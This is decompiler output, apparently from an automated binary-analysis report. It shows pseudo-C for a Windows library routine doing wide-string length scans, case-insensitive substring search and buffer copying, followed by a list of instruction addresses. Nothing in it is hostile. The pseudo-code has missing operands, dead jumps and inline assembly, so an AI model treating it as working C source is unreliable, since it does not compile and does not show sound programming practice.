						if(_t309 == 0) {
							L16:
							asm("pxor xmm0, xmm0");
							_t346 =  ~( ~_t309 + 0x00000007 & 0x00000007) + 0x7fffffff;
							__eflags = _t346;
							while(1) {
								asm("movdqu xmm1, [edi+eax*2]");
								asm("pcmpeqw xmm1, xmm0");
								asm("pmovmskb edx, xmm1");
								__eflags = _t384;
								if(_t384 != 0) {
									break;
								}
								_t309 = _t309 + 8;
								__eflags = _t309 - _t346;
								if(_t309 < _t346) {
									continue;
								} else {
									__eflags = _t346 - 0x7fffffff;
									if(_t346 >= 0x7fffffff) {
										goto L22;
									} else {
										goto L20;
									}
								}
								goto L23;
							}
							asm("bsf ebx, edx");
							_t316 = (_t346 >> 1) + _t309;
							goto L126;
						} else {
							_t346 = 0;
							__eflags = _t309 & 0x00000001;
							if((_t309 & 0x00000001) != 0) {
								while(1) {
									L20:
									__eflags =  *(_t441 + _t346 * 2) & 0x0000ffff;
									if(( *(_t441 + _t346 * 2) & 0x0000ffff) == 0) {
										goto L126;
									}
									_t346 = _t346 + 1;
									__eflags = _t346 - 0x7fffffff;
									if(_t346 < 0x7fffffff) {
										continue;
									} else {
										L22:
										_t349 = 0x40;
										_t316 = 0x7fffffff;
									}
									goto L23;
								}
								goto L126;
							} else {
								_t309 =  ~_t309 + 0x10 >> 1;
								__eflags = _t309;
								while(1) {
									_t384 =  *(_t441 + _t346 * 2) & 0x0000ffff;
									__eflags = _t384;
									if(_t384 == 0) {
										break;
									}
									_t346 = _t346 + 1;
									__eflags = _t346 - _t309;
									if(_t346 < _t309) {
										continue;
									} else {
										goto L16;
									}
									goto L23;
								}
								L126:
								__eflags = _t316 - 0xfffffffe;
								if(_t316 != 0xfffffffe) {
									_t349 = 0x40;
								} else {
									 *_t441 = 0;
									_t349 = _v60;
								}
							}
						}
					}
					L23:
					_t24 = _t316 + 2; // 0x2
					_t385 = _t24;
					__eflags = _t385 - 0x40;
					_t386 =  <=  ? 0x40 : _t385;
					__eflags = _t349 - _t386;
					if(_t349 < _t386) {
						_t237 = (_t386 >> 5 >> 0x1a) + _t386 >> 6;
						_t387 = _t386 & 0x8000003f;
						__eflags = _t387;
						if(_t387 < 0) {
							_t387 = (_t387 - 0x00000001 | 0xffffffc0) + 1;
							__eflags = _t387;
						}
						__eflags = _t387;
						_t238 = _t237 + (0 | _t387 > 0x00000000);
						_push(_t238 << 7);
						_t443 = _t238 << 6;
						_t390 = E6EFF1030();
						_t481 = _t481 + 4;
						_t350 = _v64;
						__eflags = _t350;
						if(_t350 == 0) {
							__eflags = 0;
							 *_t390 = 0;
						} else {
							__eflags = _t390;
							if(_t390 != 0) {
								_t306 =  *_t350 & 0x0000ffff;
								 *_t390 = _t306;
								__eflags = _t306;
								if(_t306 != 0) {
									_v68 = _t458;
									_t307 = 0;
									__eflags = 0;
									while(1) {
										_t307 = _t307 + 1;
										_t476 =  *(_t350 + _t307 * 4 - 2) & 0x0000ffff;
										 *(_t390 + _t307 * 4 - 2) = _t476;
										__eflags = _t476;
										if(_t476 == 0) {
											break;
										}
										_t477 =  *(_t350 + _t307 * 4) & 0x0000ffff;
										 *(_t390 + _t307 * 4) = _t477;
										__eflags = _t477;
										if(_t477 != 0) {
											continue;
										}
										break;
									}
									_t458 = _v68;
								}
							}
							_push(2);
							_push(_t350);
							_v68 = _t390;
							E6EFF10B0();
							_t390 = _v68;
							_t481 = _t481 + 8;
						}
						_v60 = _t443;
						_v64 = _t390;
					} else {
						_t390 = _v64;
					}
					 *((short*)(_t390 + _t316 * 2)) = _a8 & 0x0000ffff;
					__eflags = 0;
					_t243 =  &_v64;
					 *((short*)(_v64 + 2 + _t316 * 2)) = 0;
				} else {
					_t243 =  &_v64;
				}
				_t244 =  *_t243;
				_v28 = _t244;
				if(_t244 == 0) {
					L40:
					_t392 = _a4;
					_push(0x80);
					 *_t392 = 0;
					 *((intOrPtr*)(_t392 + 4)) = 0;
					_t317 = E6EFF1030();
					_t481 = _t481 + 4;
					_t248 =  *_a4;
					if(_t248 == 0) {
						 *_t317 = 0;
					} else {
						if(_t317 != 0) {
							_t393 =  *_t248 & 0x0000ffff;
							 *_t317 = _t393;
							if(_t393 != 0) {
								_t394 = 0;
								while(1) {
									_t394 = _t394 + 1;
									_t352 =  *(_t248 + _t394 * 4 - 2) & 0x0000ffff;
									 *(_t317 + _t394 * 4 - 2) = _t352;
									if(_t352 == 0) {
										goto L46;
									}
									_t353 =  *(_t248 + _t394 * 4) & 0x0000ffff;
									 *(_t317 + _t394 * 4) = _t353;
									if(_t353 != 0) {
										continue;
									}
									goto L46;
								}
							}
						}
						L46:
						_push(2);
						_push(_t248);
						E6EFF10B0();
						_t481 = _t481 + 8;
					}
					goto L124;
				} else {
					_t319 =  *_t244 & 0x0000ffff;
					if(_t319 != 0) {
						_t460 =  *_t458;
						_t255 = E6EFFFB60(_t460, _t244, _t460);
						__eflags = _t255;
						if(_t255 == 0) {
							_t396 = _a4;
							_push(0x80);
							 *_t396 = 0;
							 *((intOrPtr*)(_t396 + 4)) = 0;
							_t317 = E6EFF1030();
							_t481 = _t481 + 4;
							_t259 =  *_a4;
							__eflags = _t259;
							if(_t259 == 0) {
								 *_t317 = 0;
							} else {
								__eflags = _t317;
								if(_t317 != 0) {
									_t397 =  *_t259 & 0x0000ffff;
									 *_t317 = _t397;
									__eflags = _t397;
									if(_t397 != 0) {
										_t398 = 0;
										__eflags = 0;
										while(1) {
											_t398 = _t398 + 1;
											_t355 =  *(_t259 + _t398 * 4 - 2) & 0x0000ffff;
											 *(_t317 + _t398 * 4 - 2) = _t355;
											__eflags = _t355;
											if(_t355 == 0) {
												goto L176;
											}
											_t356 =  *(_t259 + _t398 * 4) & 0x0000ffff;
											 *(_t317 + _t398 * 4) = _t356;
											__eflags = _t356;
											if(_t356 != 0) {
												continue;
											}
											goto L176;
										}
									}
								}
								L176:
								_push(2);
								_push(_t259);
								E6EFF10B0();
								_t481 = _t481 + 8;
							}
							goto L124;
						} else {
							_t66 = _t319 - 0x41; // 0x7fffffbe
							__eflags = _t66 - 0x19;
							_t67 = _t319 + 0x20; // 0x8000001f
							_v40 = _t460;
							_t320 =  <=  ? _t67 : _t319;
							_t400 = _v28 & 0x0000000f;
							_t358 = ( <=  ? _t67 : _t319) & 0x0000ffff;
							asm("pxor xmm0, xmm0");
							_v36 =  ~_t400 + 0x10 >> 1;
							_v32 = _t400 & 0x00000001;
							_t448 = 0;
							__eflags = 0;
							_v44 = ( <=  ? _t67 : _t319) & 0x0000ffff;
							while(1) {
								L50:
								_t325 = _t255;
								_t462 = _t255 + 2;
								__eflags = _t462;
								if(_t462 == 0) {
									break;
								}
								__eflags =  *(_t255 + 2) & 0x0000ffff;
								if(( *(_t255 + 2) & 0x0000ffff) == 0) {
									break;
								} else {
									_v52 = _t400;
									_t368 = _t448;
									_v68 = _t325;
									while(1) {
										_t368 = _t368 + 1;
										_t334 = _t255 + _t368 * 2;
										_t429 =  *_t334 & 0x0000ffff;
										__eflags = ( *(_t462 + _t368 * 2 - 2) & 0x0000ffff) + 0xffffffbf - 0x19;
										_v48 = _t334;
										_t448 = _v44;
										_t430 =  <=  ? _t429 + 0x20 : _t429;
										__eflags = ( <=  ? _t429 + 0x20 : _t429) - _t448;
										if(( <=  ? _t429 + 0x20 : _t429) == _t448) {
											break;
										}
										__eflags =  *(_t462 + _t368 * 2) & 0x0000ffff;
										if(( *(_t462 + _t368 * 2) & 0x0000ffff) != 0) {
											continue;
										} else {
											L55:
											_t325 = _v68;
											_t463 = _v40;
										}
										goto L56;
									}
									_t400 = _v52;
									_t301 = _v48;
									_t452 = _v36;
									_t465 = _v32;
									while(1) {
										_t336 = _t400;
										__eflags = _t400;
										if(_t400 == 0) {
											goto L141;
										}
										L136:
										_t377 = 0;
										__eflags = _t465;
										if(_t465 != 0) {
											L145:
											_v32 = _t465;
											_t474 = _v28;
											while(1) {
												__eflags =  *(_t474 + _t377 * 2) & 0x0000ffff;
												if(( *(_t474 + _t377 * 2) & 0x0000ffff) == 0) {
													break;
												}
												_t377 = _t377 + 1;
												__eflags = _t377 - 0x7fffffff;
												if(_t377 < 0x7fffffff) {
													continue;
												} else {
													_t466 = _v32;
													goto L149;
												}
												goto L180;
											}
											_t466 = _v32;
											goto L159;
										} else {
											_v32 = _t465;
											_t336 = _t452;
											_v24 = _t301;
											_t475 = _v28;
											while(1) {
												__eflags =  *(_t475 + _t377 * 2) & 0x0000ffff;
												if(( *(_t475 + _t377 * 2) & 0x0000ffff) == 0) {
													break;
												}
												_t377 = _t377 + 1;
												__eflags = _t377 - _t452;
												if(_t377 < _t452) {
													continue;
												} else {
													_t301 = _v24;
													_t465 = _v32;
													goto L141;
												}
												goto L180;
											}
											_t301 = _v24;
											_t466 = _v32;
											L159:
											__eflags = _t377;
											if(__eflags == 0) {
												L149:
												_t377 = 0x7fffffff;
												goto L150;
											} else {
												if(__eflags > 0) {
													L150:
													_v56 = _t377;
													_t337 = 0;
													__eflags = 0;
													_v52 = _t400;
													_v36 = _t452;
													_v32 = _t466;
													while(1) {
														_t467 =  *(_t301 + _t337 * 2) & 0x0000ffff;
														_t455 =  *(_v28 + _t337 * 2) & 0x0000ffff;
														__eflags = _t467 - 0x61 - 0x19;
														_t468 =  <=  ? _t467 - 0x20 : _t467;
														_t432 = ( <=  ? _t467 - 0x20 : _t467) & 0x0000ffff;
														__eflags = _t455 - 0x61 - 0x19;
														_t456 =  <=  ? _t455 - 0x20 : _t455;
														__eflags = _t432 - ( <=  ? _t455 - 0x20 : _t455);
														if(__eflags < 0 || __eflags > 0) {
															break;
														}
														__eflags = _t432;
														if(_t432 == 0) {
															L155:
															_t400 = _v52;
															_t448 = 0;
															__eflags = 0;
															_t325 = _v68;
															goto L156;
														} else {
															_t337 = _t337 + 1;
															__eflags = _t337 - _v56;
															if(_t337 < _v56) {
																continue;
															} else {
																goto L155;
															}
														}
														goto L180;
													}
													_t433 = _v52;
													_t448 = _v36;
													_t470 = _v32;
													_t339 = _t301 + 2;
													__eflags = _t339;
													if(_t339 == 0) {
														goto L55;
													} else {
														__eflags =  *(_t301 + 2) & 0x0000ffff;
														if(( *(_t301 + 2) & 0x0000ffff) == 0) {
															goto L55;
														} else {
															_v52 = _t433;
															_t381 = 0;
															__eflags = 0;
															_v24 = _t301;
															_v36 = _t448;
															_v32 = _t470;
															while(1) {
																_t381 = _t381 + 1;
																_t301 = _v24 + _t381 * 2;
																_t434 =  *_t301 & 0x0000ffff;
																__eflags = ( *(_t339 + _t381 * 2 - 2) & 0x0000ffff) + 0xffffffbf - 0x19;
																_t448 = _t434 + 0x20;
																_t435 =  <=  ? _t448 : _t434;
																__eflags = ( <=  ? _t448 : _t434) - _v44;
																if(( <=  ? _t448 : _t434) == _v44) {
																	break;
																}
																__eflags =  *(_t339 + _t381 * 2) & 0x0000ffff;
																if(( *(_t339 + _t381 * 2) & 0x0000ffff) != 0) {
																	continue;
																} else {
																	goto L55;
																}
																goto L180;
															}
															_t400 = _v52;
															_t452 = _v36;
															_t465 = _v32;
															_t336 = _t400;
															__eflags = _t400;
															if(_t400 == 0) {
																goto L141;
															}
														}
													}
												} else {
													_v36 = _t452;
													_t448 = 0;
													_v32 = _t466;
													_t325 = _v68;
													L156:
													__eflags = _t301;
													if(_t301 != 0) {
														goto L50;
													} else {
														goto L157;
													}
												}
											}
										}
										L180:
										L141:
										_v36 = _t452;
										_t374 =  ~( ~_t336 + 0x00000007 & 0x00000007) + 0x7fffffff;
										__eflags = _t374;
										_v32 = _t465;
										while(1) {
											asm("movdqu xmm1, [edi+ebx*2]");
											asm("pcmpeqw xmm1, xmm0");
											asm("pmovmskb esi, xmm1");
											__eflags = _t465;
											if(_t465 != 0) {
												break;
											}
											_t336 = _t336 + 8;
											__eflags = _t336 - _t374;
											if(_t336 < _t374) {
												continue;
											} else {
												_t452 = _v36;
												_t466 = _v32;
												__eflags = _t374 - 0x7fffffff;
												if(_t374 >= 0x7fffffff) {
													goto L149;
												} else {
													goto L145;
												}
											}
											goto L180;
										}
										asm("bsf ecx, ecx");
										_t452 = _v36;
										_t377 = (_t465 >> 1) + _t336;
										_t466 = _v32;
										goto L159;
									}
								}
								L56:
								_t326 = _t325 - _t463;
								__eflags = _t326;
								_t327 = _t326 >> 1;
								if(_t326 != 0) {
									__eflags = _t463;
									if(_t463 == 0) {
										_t401 = 0;
									} else {
										_t291 = _t463 & 0x0000000f;
										__eflags = _t291;
										if(_t291 == 0) {
											L71:
											_t401 =  ~( ~_t291 + 0x00000007 & 0x00000007) + 0x7fffffff;
											__eflags = _t401;
											while(1) {
												asm("movdqu xmm1, [esi+eax*2]");
												asm("pcmpeqw xmm1, xmm0");
												asm("pmovmskb edi, xmm1");
												__eflags = _t448;
												if(_t448 != 0) {
													break;
												}
												_t291 = _t291 + 8;
												__eflags = _t291 - _t401;
												if(_t291 < _t401) {
													continue;
												} else {
													__eflags = _t401 - 0x7fffffff;
													if(_t401 >= 0x7fffffff) {
														goto L77;
													} else {
														goto L75;
													}
												}
												goto L78;
											}
											asm("bsf edx, edi");
											_t401 = (_t401 >> 1) + _t291;
										} else {
											_t401 = 0;
											__eflags = _t291 & 0x00000001;
											if((_t291 & 0x00000001) != 0) {
												while(1) {
													L75:
													__eflags =  *(_t463 + _t401 * 2) & 0x0000ffff;
													if(( *(_t463 + _t401 * 2) & 0x0000ffff) == 0) {
														goto L78;
													}
													_t401 = _t401 + 1;
													__eflags = _t401 - 0x7fffffff;
													if(_t401 < 0x7fffffff) {
														continue;
													} else {
														L77:
														_t401 = 0x7fffffff;
													}
													goto L78;
												}
											} else {
												_t291 =  ~_t291 + 0x10 >> 1;
												__eflags = _t291;
												while(1) {
													_t448 =  *(_t463 + _t401 * 2) & 0x0000ffff;
													__eflags = _t448;
													if(_t448 == 0) {
														goto L78;
													}
													_t401 = _t401 + 1;
													__eflags = _t401 - _t291;
													if(_t401 < _t291) {
														continue;
													} else {
														goto L71;
													}
													goto L78;
												}
											}
										}
									}
									L78:
									_t264 = _t401 >> 0x0000001f & _t401;
									_t402 = _t401 - _t264;
									__eflags = _t327;
									if(_t327 < 0) {
										L80:
										_t327 = _t402;
									} else {
										__eflags = _t327 - _t402;
										if(_t327 > _t402) {
											goto L80;
										}
									}
									_t403 = _a4;
									_t449 = _t463 + _t264 * 2;
									 *_t403 = 0;
									 *((intOrPtr*)(_t403 + 4)) = 0;
									__eflags = _t449;
									if(_t449 == 0) {
										L116:
										_push(0x80);
										_t317 = E6EFF1030();
										_t481 = _t481 + 4;
										_t268 =  *_a4;
										__eflags = _t268;
										if(_t268 == 0) {
											__eflags = 0;
											 *_t317 = 0;
										} else {
											__eflags = _t317;
											if(_t317 != 0) {
												_t404 =  *_t268 & 0x0000ffff;
												 *_t317 = _t404;
												__eflags = _t404;
												if(_t404 != 0) {
													_t405 = 0;
													__eflags = 0;
													while(1) {
														_t405 = _t405 + 1;
														_t359 =  *(_t268 + _t405 * 4 - 2) & 0x0000ffff;
														 *(_t317 + _t405 * 4 - 2) = _t359;
														__eflags = _t359;
														if(_t359 == 0) {
															goto L122;
														}
														_t360 =  *(_t268 + _t405 * 4) & 0x0000ffff;
														 *(_t317 + _t405 * 4) = _t360;
														__eflags = _t360;
														if(_t360 != 0) {
															continue;
														}
														goto L122;
													}
												}
											}
											L122:
											_push(2);
											_push(_t268);
											E6EFF10B0();
											_t481 = _t481 + 8;
										}
										goto L124;
									} else {
										_t271 =  *_t449 & 0x0000ffff;
										__eflags = _t271;
										if(_t271 == 0) {
											goto L116;
										} else {
											__eflags = _t327;
											if(_t327 == 0) {
												_t417 = _t449 & 0x0000000f;
												__eflags = _t417;
												if(_t417 == 0) {
													L89:
													_t327 =  ~( ~_t417 + 0x00000007 & 0x00000007) + 0x7fffffff;
													__eflags = _t327;
													while(1) {
														asm("movdqu xmm1, [edi+edx*2]");
														asm("pcmpeqw xmm1, xmm0");
														asm("pmovmskb eax, xmm1");
														__eflags = _t271;
														if(_t271 != 0) {
															break;
														}
														_t417 = _t417 + 8;
														__eflags = _t417 - _t327;
														if(_t417 < _t327) {
															continue;
														} else {
															__eflags = _t327 - 0x7fffffff;
															if(_t327 >= 0x7fffffff) {
																goto L95;
															} else {
																goto L93;
															}
														}
														goto L96;
													}
													asm("bsf ebx, eax");
													_t327 = (_t327 >> 1) + _t417;
												} else {
													_t327 = 0;
													__eflags = _t417 & 0x00000001;
													if((_t417 & 0x00000001) != 0) {
														while(1) {
															L93:
															__eflags =  *(_t449 + _t327 * 2) & 0x0000ffff;
															if(( *(_t449 + _t327 * 2) & 0x0000ffff) == 0) {
																goto L96;
															}
															_t327 = _t327 + 1;
															__eflags = _t327 - 0x7fffffff;
															if(_t327 < 0x7fffffff) {
																continue;
															} else {
																L95:
																_t327 = 0x7fffffff;
															}
															goto L96;
														}
													} else {
														_t417 =  ~_t417 + 0x10 >> 1;
														__eflags = _t417;
														while(1) {
															_t271 =  *(_t449 + _t327 * 2) & 0x0000ffff;
															__eflags = _t271;
															if(_t271 == 0) {
																goto L96;
															}
															_t327 = _t327 + 1;
															__eflags = _t327 - _t417;
															if(_t327 < _t417) {
																continue;
															} else {
																goto L89;
															}
															goto L96;
														}
													}
												}
											}
											L96:
											_t114 = _t327 + 1; // 0x80000000
											_t406 = _t114;
											__eflags = _t406 - 0x40;
											_t407 =  <=  ? 0x40 : _t406;
											__eflags = _t407;
											if(_t407 > 0) {
												_t277 = (_t407 >> 5 >> 0x1a) + _t407 >> 6;
												_t408 = _t407 & 0x8000003f;
												__eflags = _t408;
												if(_t408 < 0) {
													_t408 = (_t408 - 0x00000001 | 0xffffffc0) + 1;
													__eflags = _t408;
												}
												__eflags = _t408;
												_t278 = _t277 + (0 | _t408 > 0x00000000);
												_v68 = _t278 << 6;
												_push(_t278 << 7);
												_t464 = E6EFF1030();
												_t481 = _t481 + 4;
												_t411 =  *_a4;
												__eflags = _t411;
												if(_t411 == 0) {
													__eflags = 0;
													 *_t464 = 0;
												} else {
													__eflags = _t464;
													if(_t464 != 0) {
														_t287 =  *_t411 & 0x0000ffff;
														 *_t464 = _t287;
														__eflags = _t287;
														if(_t287 != 0) {
															_t288 = 0;
															__eflags = 0;
															while(1) {
																_t288 = _t288 + 1;
																_t363 =  *(_t411 + _t288 * 4 - 2) & 0x0000ffff;
																 *(_t464 + _t288 * 4 - 2) = _t363;
																__eflags = _t363;
																if(_t363 == 0) {
																	goto L106;
																}
																_t364 =  *(_t411 + _t288 * 4) & 0x0000ffff;
																 *(_t464 + _t288 * 4) = _t364;
																__eflags = _t364;
																if(_t364 != 0) {
																	continue;
																}
																goto L106;
															}
														}
													}
													L106:
													_push(2);
													_push(_t411);
													E6EFF10B0();
													_t481 = _t481 + 8;
												}
												_t412 = _a4;
												_t412[1] = _v68;
												 *_t412 = _t464;
											} else {
												_t464 = 0;
											}
											__eflags = _t464;
											if(_t464 != 0) {
												_t284 = 0;
												while(1) {
													_t413 =  *_t449 & 0x0000ffff;
													_t284 = _t284 + 1;
													 *_t464 = _t413;
													__eflags = _t327;
													if(_t327 == 0) {
														goto L114;
													}
													__eflags = _t284 - _t327;
													if(_t284 == _t327) {
														 *(_t464 + 2) = 0;
													} else {
														goto L114;
													}
													goto L125;
													L114:
													__eflags = _t413;
													if(_t413 != 0) {
														_t464 = _t464 + 2;
														_t449 = _t449 + 2;
														__eflags = _t449;
														continue;
													}
													goto L125;
												}
											}
										}
									}
								} else {
									_t426 = _a4;
									_push(0x80);
									 *_t426 = 0;
									 *((intOrPtr*)(_t426 + 4)) = 0;
									_t317 = E6EFF1030();
									_t481 = _t481 + 4;
									_t298 =  *_a4;
									__eflags = _t298;
									if(_t298 == 0) {
										 *_t317 = 0;
									} else {
										__eflags = _t317;
										if(_t317 != 0) {
											_t427 =  *_t298 & 0x0000ffff;
											 *_t317 = _t427;
											__eflags = _t427;
											if(_t427 != 0) {
												_t428 = 0;
												__eflags = 0;
												while(1) {
													_t428 = _t428 + 1;
													_t365 =  *(_t298 + _t428 * 4 - 2) & 0x0000ffff;
													 *(_t317 + _t428 * 4 - 2) = _t365;
													__eflags = _t365;
													if(_t365 == 0) {
														goto L63;
													}
													_t366 =  *(_t298 + _t428 * 4) & 0x0000ffff;
													 *(_t317 + _t428 * 4) = _t366;
													__eflags = _t366;
													if(_t366 != 0) {
														continue;
													}
													goto L63;
												}
											}
										}
										L63:
										_push(2);
										_push(_t298);
										E6EFF10B0();
										_t481 = _t481 + 8;
									}
									L124:
									_t250 = _a4;
									 *_t250 = _t317;
									_t250[1] = 0x40;
								}
								goto L125;
							}
							L157:
							_t463 = _v40;
							goto L56;
						}
					} else {
						goto L40;
					}
				}
				L125:
				_push(2);
				_push(_v64);
				E6EFF10B0();
				_v64 = 0;
				_v60 = 0;
				return _a4;
				goto L180;
			}

0x6effae8e
0x6effae92
0x6effae94
0x6effae98
0x6effaea2
0x6effaea4
0x6effaea7
0x6effaead
0x6effaee7
0x6effaee9
0x6effaeaf
0x6effaeb1
0x6effaeb3
0x6effaeb6
0x6effaebb
0x6effaebf
0x6effaebf
0x6effaec0
0x6effaec5
0x6effaecc
0x00000000
0x00000000
0x6effaece
0x6effaed2
0x6effaed8
0x00000000
0x00000000
0x00000000
0x6effaed8
0x6effaebf
0x6effaebb
0x6effaeda
0x6effaeda
0x6effaedc
0x6effaedd
0x6effaee2
0x6effaee2
0x6effaef0
0x6effaef8
0x6effaefe
0x6effaf09
0x6effaf0b
0x6effb6df
0x6effb6e4
0x6effaf11
0x6effaf13
0x6effaf13
0x6effaf16
0x6effaf36
0x6effaf3a
0x6effaf46
0x6effaf46
0x6effaf4c
0x6effaf4c
0x6effaf51
0x6effaf55
0x6effaf59
0x6effaf5b
0x00000000
0x00000000
0x6effaf61
0x6effaf64
0x6effaf66
0x00000000
0x6effaf68
0x6effaf68
0x6effaf6e
0x00000000
0x00000000
0x00000000
0x00000000
0x6effaf6e
0x00000000
0x6effaf66
0x6effb6d3
0x6effb6d8
0x00000000
0x6effaf18
0x6effaf18
0x6effaf1a
0x6effaf1c
0x6effaf70
0x6effaf70
0x6effaf74
0x6effaf76
0x00000000
0x00000000
0x6effaf7c
0x6effaf7d
0x6effaf83
0x00000000
0x6effaf85
0x6effaf85
0x6effaf85
0x6effaf8a
0x6effaf8a
0x00000000
0x6effaf83
0x00000000
0x6effaf1e
0x6effaf23
0x6effaf23
0x6effaf25
0x6effaf25
0x6effaf29
0x6effaf2b
0x00000000
0x00000000
0x6effaf31
0x6effaf32
0x6effaf34
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6effaf34
0x6effb458
0x6effb458
0x6effb45b
0x6effb46b
0x6effb45d
0x6effb45f
0x6effb462
0x6effb462
0x6effb45b
0x6effaf1c
0x6effaf16
0x6effaf8f
0x6effaf94
0x6effaf94
0x6effaf97
0x6effaf9a
0x6effaf9d
0x6effaf9f
0x6effafb4
0x6effafb7
0x6effafb7
0x6effafbd
0x6effafc5
0x6effafc5
0x6effafc5
0x6effafc6
0x6effafd0
0x6effafd7
0x6effafd8
0x6effafe0
0x6effafe2
0x6effafe5
0x6effafe9
0x6effafeb
0x6effb033
0x6effb035
0x6effafed
0x6effafed
0x6effafef
0x6effaff1
0x6effaff4
0x6effaff7
0x6effaff9
0x6effaffb
0x6effaffe
0x6effaffe
0x6effb000
0x6effb000
0x6effb001
0x6effb006
0x6effb00b
0x6effb00d
0x00000000
0x00000000
0x6effb00f
0x6effb013
0x6effb017
0x6effb019
0x00000000
0x00000000
0x00000000
0x6effb019
0x6effb01b
0x6effb01b
0x6effaff9
0x6effb01e
0x6effb020
0x6effb021
0x6effb025
0x6effb02a
0x6effb02e
0x6effb02e
0x6effb038
0x6effb03c
0x6effafa1
0x6effafa1
0x6effafa1
0x6effb044
0x6effb048
0x6effb04e
0x6effb052
0x6effaf00
0x6effaf00
0x6effaf00
0x6effb057
0x6effb059
0x6effb05f
0x6effb068
0x6effb068
0x6effb06d
0x6effb072
0x6effb074
0x6effb07c
0x6effb07e
0x6effb084
0x6effb088
0x6effb0c7
0x6effb08a
0x6effb08c
0x6effb08e
0x6effb091
0x6effb096
0x6effb098
0x6effb09a
0x6effb09a
0x6effb09b
0x6effb0a0
0x6effb0a7
0x00000000
0x00000000
0x6effb0a9
0x6effb0ad
0x6effb0b3
0x00000000
0x00000000
0x00000000
0x6effb0b3
0x6effb09a
0x6effb096
0x6effb0b5
0x6effb0b5
0x6effb0b7
0x6effb0b8
0x6effb0bd
0x6effb0bd
0x00000000
0x6effb061
0x6effb061
0x6effb066
0x6effb0cf
0x6effb0d5
0x6effb0da
0x6effb0dc
0x6effb66c
0x6effb671
0x6effb676
0x6effb678
0x6effb680
0x6effb682
0x6effb688
0x6effb68a
0x6effb68c
0x6effb6cb
0x6effb68e
0x6effb68e
0x6effb690
0x6effb692
0x6effb695
0x6effb698
0x6effb69a
0x6effb69c
0x6effb69c
0x6effb69e
0x6effb69e
0x6effb69f
0x6effb6a4
0x6effb6a9
0x6effb6ab
0x00000000
0x00000000
0x6effb6ad
0x6effb6b1
0x6effb6b5
0x6effb6b7
0x00000000
0x00000000
0x00000000
0x6effb6b7
0x6effb69e
0x6effb69a
0x6effb6b9
0x6effb6b9
0x6effb6bb
0x6effb6bc
0x6effb6c1
0x6effb6c1
0x00000000
0x6effb0e2
0x6effb0e6
0x6effb0e9
0x6effb0ec
0x6effb0ef
0x6effb0f3
0x6effb0f6
0x6effb0f9
0x6effb10a
0x6effb10e
0x6effb112
0x6effb116
0x6effb116
0x6effb118
0x6effb11c
0x6effb11c
0x6effb11e
0x6effb120
0x6effb120
0x6effb123
0x00000000
0x00000000
0x6effb12d
0x6effb12f
0x00000000
0x6effb135
0x6effb135
0x6effb139
0x6effb13b
0x6effb13e
0x6effb13e
0x6effb144
0x6effb147
0x6effb14d
0x6effb150
0x6effb154
0x6effb15b
0x6effb15e
0x6effb161
0x00000000
0x00000000
0x6effb16b
0x6effb16d
0x00000000
0x6effb16f
0x6effb16f
0x6effb16f
0x6effb172
0x6effb172
0x00000000
0x6effb16d
0x6effb49c
0x6effb4a0
0x6effb4a4
0x6effb4a8
0x6effb4ba
0x6effb4ba
0x6effb4bc
0x6effb4be
0x00000000
0x00000000
0x6effb4c0
0x6effb4c0
0x6effb4c2
0x6effb4c4
0x6effb537
0x6effb537
0x6effb53b
0x6effb53f
0x6effb543
0x6effb545
0x00000000
0x00000000
0x6effb54b
0x6effb54c
0x6effb552
0x00000000
0x6effb554
0x6effb554
0x00000000
0x6effb554
0x00000000
0x6effb552
0x6effb64d
0x00000000
0x6effb4c6
0x6effb4c6
0x6effb4ca
0x6effb4cc
0x6effb4d0
0x6effb4d4
0x6effb4d8
0x6effb4da
0x00000000
0x00000000
0x6effb4e0
0x6effb4e1
0x6effb4e3
0x00000000
0x6effb4e5
0x6effb4e5
0x6effb4e9
0x00000000
0x6effb4e9
0x00000000
0x6effb4e3
0x6effb5c5
0x6effb5c9
0x6effb5cd
0x6effb5cd
0x6effb5cf
0x6effb558
0x6effb558
0x00000000
0x6effb5d1
0x6effb5d1
0x6effb55d
0x6effb55d
0x6effb561
0x6effb561
0x6effb563
0x6effb567
0x6effb56b
0x6effb56f
0x6effb56f
0x6effb57a
0x6effb57e
0x6effb584
0x6effb587
0x6effb58d
0x6effb593
0x6effb596
0x6effb599
0x00000000
0x00000000
0x6effb59d
0x6effb59f
0x6effb5ab
0x6effb5ab
0x6effb5af
0x6effb5af
0x6effb5b1
0x00000000
0x6effb5a1
0x6effb5a1
0x6effb5a2
0x6effb5a6
0x00000000
0x00000000
0x00000000
0x00000000
0x6effb5a6
0x00000000
0x6effb59f
0x6effb5e2
0x6effb5e6
0x6effb5ea
0x6effb5f0
0x6effb5f0
0x6effb5f3
0x00000000
0x6effb5f9
0x6effb5fd
0x6effb5ff
0x00000000
0x6effb605
0x6effb605
0x6effb609
0x6effb609
0x6effb60b
0x6effb60f
0x6effb613
0x6effb617
0x6effb617
0x6effb621
0x6effb624
0x6effb62a
0x6effb631
0x6effb634
0x6effb637
0x6effb63a
0x00000000
0x00000000
0x6effb644
0x6effb646
0x00000000
0x6effb648
0x00000000
0x6effb648
0x00000000
0x6effb646
0x6effb4ae
0x6effb4b2
0x6effb4b6
0x6effb4ba
0x6effb4bc
0x6effb4be
0x00000000
0x00000000
0x6effb4be
0x6effb5ff
0x6effb5d3
0x6effb5d3
0x6effb5d7
0x6effb5d9
0x6effb5dd
0x6effb5b4
0x6effb5b4
0x6effb5b6
0x00000000
0x00000000
0x00000000
0x00000000
0x6effb5b6
0x6effb5d1
0x6effb5cf
0x00000000
0x6effb4ed
0x6effb4f9
0x6effb4fd
0x6effb4fd
0x6effb503
0x6effb50b
0x6effb50b
0x6effb510
0x6effb514
0x6effb518
0x6effb51a
0x00000000
0x00000000
0x6effb520
0x6effb523
0x6effb525
0x00000000
0x6effb527
0x6effb527
0x6effb52b
0x6effb52f
0x6effb535
0x00000000
0x00000000
0x00000000
0x00000000
0x6effb535
0x00000000
0x6effb525
0x6effb658
0x6effb65d
0x6effb661
0x6effb663
0x00000000
0x6effb663
0x6effb4ba
0x6effb176
0x6effb176
0x6effb176
0x6effb178
0x6effb17a
0x6effb1e3
0x6effb1e5
0x6effb495
0x6effb1eb
0x6effb1ed
0x6effb1ed
0x6effb1f0
0x6effb20c
0x6effb218
0x6effb218
0x6effb21e
0x6effb21e
0x6effb223
0x6effb227
0x6effb22b
0x6effb22d
0x00000000
0x00000000
0x6effb233
0x6effb236
0x6effb238
0x00000000
0x6effb23a
0x6effb23a
0x6effb240
0x00000000
0x00000000
0x00000000
0x00000000
0x6effb240
0x00000000
0x6effb238
0x6effb489
0x6effb48e
0x6effb1f2
